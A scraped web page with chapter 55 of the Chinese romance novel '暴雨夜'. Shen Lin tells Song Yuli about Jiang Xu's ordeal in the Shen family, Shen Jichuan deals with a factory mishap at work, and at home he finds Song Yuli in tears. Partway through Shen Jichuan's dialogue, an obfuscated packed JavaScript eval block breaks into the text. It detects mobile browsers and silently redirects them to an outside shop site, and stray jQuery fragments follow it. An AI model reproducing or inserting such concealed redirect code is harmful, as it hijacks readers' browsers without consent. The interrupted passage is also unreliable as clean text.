文趣网 > 其他小说 > 暴雨夜 > 55. 第五十五章
    “那后来呢?”宋喻理声音略带沙哑的问,“后来怎么样了?”

    商场的休息区域,沈琳一手拿着杯奶茶吸的吱吱作响,她视线在宋喻理脸上转了一圈,然后才继续道:“后来我对他说了句话。”

    这故事要是放在现在,沈琳一定会觉得江序幼稚的,但那时候的沈琳还小,正是对于青春爱情向往和憧憬的时候。

    她对江序说,既然你们现在已经分隔两地了,那就先顾好自己,这样以后才有机会再次见面。

    其实,她说这话的意思,一方面是因为这个,另一方面也是不想江序再因为这件事一直折磨自己了,毕竟身体才是本钱,本钱都要没了还拿什么来博以后呢。

    那天,她陪江序说话一直陪到了下午才离开。

    后面过了两三个月,沈琳才从新闻上看到了沈家找回长孙的消息,那个时候她才知道,原来江序就是自己的哥哥。

    不过,也正如他所说的那样,沈堰从来没有来找过她,即使后来她也通过别的方式知道了自己的父亲究竟是一个怎样的人物。

    “我也不知道当时说的那句话对他有没有用,只是想到了,就说出了口。”

    说话期间,沈琳看似在喝奶茶,其实视线也是丝毫没放过面前的宋喻理,她在验证,验证自己的猜想是否属实。

    宋喻理听完愣了好久,她只知道那天晚上江序没来,并不知道这背后还有事故发生。

    这些年来,她一直都单纯的以为是江序临阵逃脱了,所以才用那些自以为是的理由来给对方开脱,同时也用来安慰自己。

    原来,一切的变数都在最开始的那个暴雨夜。

    见状,沈琳放下奶茶,看向她。

    宋喻理的眼圈红红的,她此刻正低着头不知道在想些什么。

    商场的嘈杂声才顷刻间褪去,宋喻理完全陷入到了自己的思绪里,她在难过。

    不知道过去了多久,沈琳才听见宋喻理说:“我以为……离开我,他至少能过得快乐一点的。”

    此话一出,沈琳就知道自己猜对了。

    “快不快乐我不知道。”沈琳很轻的叹了口气,“反正差点是被折磨死了倒是真的。”

    想要接手偌大的沈氏并不是一件容易事,当时正值沈氏动乱,内部几乎所有的参股人员都不想放过这块肉,江序一个才二十岁不到的孩子,不仅要参与这场无硝烟的战争,还要时刻保证自己的人生安全,也是件相当棘手的事。

    “为什么?你不是江序是沈家的长孙吗?为什么他们要这么对他?”宋喻理不理解。

    沈琳露出轻蔑的笑,“长孙?那也只是一个名头而已。”

    “如果真的有人这么在乎他这个长孙,沈堰怎么可能这么多年都对他不管不顾,到最后争财产的时候需要他,才千里迢迢的跑去洋城把他绑回去?”

    沈堰的眼里只有他自己和钱财,其他的都不重要。

    “也就老爷子对他好一点,那也是看在他是个男生的份儿上。”说到这里,沈琳不知是想到了什么,突然发出一声冷笑,“其实沈家这一大家子,从上到下都坏透了。”

    最开始,老爷子的确对江序很好,家里唯一的孩子似乎生来就该得到所有的宠爱,但后来沈堰要和江舒雅离婚,江舒雅气不过非要得到江序的抚养权,沈堰本就是出轨方,打官司也不占理,最后江序被判给了江舒雅。

    自此,沈老爷子的态度就变了。

    他也没想到,自那之后,沈堰再没生过一个儿子,所以才会在濒死之际非要他将江序带回来吧。

    有时候,都不知道这唯一的身份是好还是坏。

    喝完手里的最后一口奶茶,沈琳今天该完成的事也完成了,于是站起身,对宋喻理道:“走吧,喻理姐,送我回家吧。”

    宋喻理的思绪还未全部回笼,只是下意识的跟着她回答:“好。”

    她抬头的瞬间,伸手抚过自己的眼角,眼眶微红,但依旧保持着得体。

    等走出去了几百米,她才忽然反应过来不对劲儿,宋喻理扭头看向身旁的沈琳,问道:“不是说今晚睡我那里吗?”

    “不去了。”沈琳说,“我又不是电灯泡,没有非要去给人照亮的习惯。”

    原本宋喻理的住处就不大,她当时会那么说完全是为了和沈纪川斗嘴,基本都是玩笑话。

    闻言,宋喻理也没再说什么,只是打车将人送回了别墅。

    送走沈琳后,她独自一人坐车回了小区。

    出租车在小区门口停下,宋喻理付了钱下车,站在小区楼下抬头望去,窗户还是黑的,沈纪川应该还在忙工作,没有回家。

    宋喻理回到家,打开客厅的灯,坐在沙发上等着。

    临时出的问题,光是追究到问题的源头就花了不少的时间。

    沈氏总裁办公室里,沈纪川一脸疲惫的坐在办公桌后,翻看着桌面上的文件,他面前站着好几个下属,谁都没有说话,压抑的气氛搞得所有人大气都不敢喘一下。

    落地窗外的霓虹璀璨,室内却寂静的出奇。

    “说说吧,这次的问题出在哪里?”沈纪川头也不抬的说。

    他说话的声音其实并不大,但下面站着的每个下属都是这次事故的责任人,因此大家都默契的低着头,谁也不敢先开口。

    事情实在是发生的比较突然,原本工厂里的订单材料数量是刚好对得上这次签约的订单数的,但就在今天下午,因为他们审批的失误,导致一部分原材料受到污染,无法再继续投入生产,但这次的订单是最开始就确认好的,无法按额定数量交付,合作方那边要求赔偿违约金。

    其实,商业上这类的问题很常见,偶尔也时有发生,但最让沈纪川生气的不是这个,是他们隐瞒不报。

    整个生产部门从上到下瞒的严严实实的,都害怕担责,直到交付的时候出了问题才找到他。

    还好沈纪川来得及时,但最终还是以赔偿违约金为解决方案来结束了此次的合作。

    走出合作方的办公室大楼时,沈纪川做的第一件事就是辞退了生产部总监,然后找到这次事件的全部参与人一一问责。

    沈纪川见没人回话,于是道:“你们都不说话,难道这次事故是我造成的?”

    “当然不是。”其中一个下属当即回答道。

    有人带头,后面的人就好开口的多,沈纪川这才从他们的口中听完了整件事故的完整脉络。

    他无奈的叹气,说:“这次的赔偿金从

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796550|207541||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你们整个生产部门所有人工资里扣,这次的事故,只此一次,下不为例!”

    “是。”

    大约是因为听到只是赔偿工资,在场的所有人都几乎为自己送了口气。

    沈纪川:“行了,都出去吧。”

    事情既然已经发生了,他只是为了让他们认识到自己的错误,但沈纪川也不是一个喜欢为已经发生的事情去纠结太多的人,该做的处理他会做。

    从饭桌上离开到现在也已经过去了将近四五个小时了,他拿出一直处于静音状态的手机看了一眼。

    屏幕上面是沈琳发来的消息。

    沈琳:[哥,我回家去了,今晚就不打扰你和嫂子了。]

    看到消息,沈纪川挑了挑眉,他就知道这孩子不至于这么没分寸。

    手指划过屏幕,看了眼沈琳发消息的时间,显示已经是一个多小时之前了。

    沈纪川处理完桌上剩下的文件,然后下楼去了地下车库,不多时,一辆黑色的汽车就驶入了黑夜,转眼间便消失在了道路尽头。

    不知道是因为今天的约会被打断还是别的什么原因,沈纪川此刻好像快点见到宋喻理,恨不得一脚油门下去直接就到家了。

    好在今晚的路况也好的出奇,从公司到小区的路上一路绿灯,将原本一个小时的路程缩短到了四十多分钟,沈纪川停好车后,习惯性的抬头往宋喻理家的方向看去。

    冰天雪地的冬夜里,家里还有一盏温暖的灯在等着他,为他照亮。

    心下瞬间就暖了许多。

    沈纪川就这么站在楼下看了好一会儿,直到揣在兜里的手也感觉到了寒意,才收回视线,乘电梯回到了楼上。

    “喻理,我回来啦。”他刚回身关上门,然后在玄关处换上鞋。

    没有听到宋喻理的回答,沈纪川好奇的走向客厅,目光四下里寻找着宋喻理的痕迹,视线最后落在了沙发上。

    “喻理?”

    闻言,宋喻理抬起头看了过来,走到近处,沈纪川才看清她通红的眼眶。

    他当即担心的上前去将人抱在怀里,语气里满是急迫和心疼的问:“怎么回事儿,好端端的怎么哭了?”

    宋喻理看着他,摇了摇头。

    她也不知道自己哭了多久,多年的习惯使然,即使家里只有她一个人,宋喻理也依旧哭得安静,等她再次回过神来的时候,眼睛就已经这样了。

    “我没事。”

    沈纪川鲜少看到宋喻理哭,因此面对这样的场景,内心里无由来的发慌,“眼睛都哭红了,怎么可能没事儿?”

    “是不是怪我下午临时爽约?还是我最近哪里表现的不好了?”

    他大脑迅速反思,试图从自身找到突破口。

    宋喻理靠着他的肩膀,说:“不是因为这些,你别瞎想。”

    “那是为什么?”沈纪川疑惑,“你从来不会无缘无故这样的。”

    宋喻理:“我下午和沈琳……”

    说到这里,她稍微顿住了一瞬,目光看了眼沈纪川,他不确定对方是不是希望自己知道这些事,因此说话间语气里带着点慎重。

    不等她继续,沈纪川便问:“是不是下午你们去逛街,沈琳对你说了什么?”